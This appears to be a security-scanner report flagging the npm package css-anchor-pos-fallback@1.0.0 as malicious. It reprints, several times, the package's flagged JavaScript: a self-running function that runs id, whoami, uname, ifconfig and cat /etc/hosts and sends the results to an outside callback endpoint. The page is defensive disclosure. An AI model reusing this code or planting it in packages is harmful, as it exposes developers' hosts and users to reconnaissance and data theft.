Loading npm security reports…

css-anchor-pos-fallback@1.0.0: Malicious npm security report | LPM Firewall

registry / css-anchor-pos-fallback / 1.0.0

css-anchor-pos-fallback@1.0.0

Polyfill for CSS anchor positioning fallback

AI Security Review

scanned 5d ago · by lpm-firewall-ai

The registry module performs automatic host reconnaissance and exports the results to an external endpoint. The bundled registry manifest points loaders to this executable module.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js in an environment with the required runtime APIs.

Impact

Disclosure of host identity, user identity, network interfaces, and host configuration to the endpoint operator.

Mechanism

An immediately invoked function runs shell commands, reads host configuration, and sends collected values through HTTP query parameters.

Attack narrative

When the registry module loads, its immediately invoked function collects host information and executes reconnaissance commands. It sends their outputs, including network interface details and /etc/hosts contents, to a fixed external HTTP endpoint. Registry factory exports follow the collection code, and the bundled manifest directs registry assets to this module. The empty default entrypoint limits activation but does not make the executable payload inert.

AI rationale

Inspected source establishes automatic reconnaissance and data exfiltration unrelated to CSS positioning functionality. The absence of install hooks limits the trigger but does not neutralize the attack when the registry module loads.

Evidence

thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts

Network endpoints1

dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP endpoint.

thunderboltRegistry.jsView on unpkg · L11

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes the id command and transmits its output.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

The module collects network interface information and transmits it.

thunderboltRegistry.jsView on unpkg · L40

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The module reads /etc/hosts through a shell command and transmits its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

•matchType = normalized_sha256 matchedPackage = css-field-sizing-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-field-sizing-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js"

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("child_process

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP endpoint.

thunderboltRegistry.jsView on unpkg · L11

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try {

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes the id command and transmits its output.

thunderboltRegistry.jsView on unpkg · L25

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no", pid = "0

High

Ai Review Evidence

The module reads /etc/hosts through a shell command and transmits its contents.

thunderboltRegistry.jsView on unpkg · L45

40var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000))); } catch(e) {} try { var etchosts = cp.execSy

High

Ai Review Evidence

The module collects network interface information and transmits it.

thunderboltRegistry.jsView on unpkg · L40

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry.

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP endpoint.

thunderboltRegistry.jsView on unpkg · L11

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes the id command and transmits its output.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

The module collects network interface information and transmits it.

thunderboltRegistry.jsView on unpkg · L40

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The module reads /etc/hosts through a shell command and transmits its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-anchor-pos-fallback@1.0.0/thunderboltRegistry.js"

css-anchor-pos-fallback@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code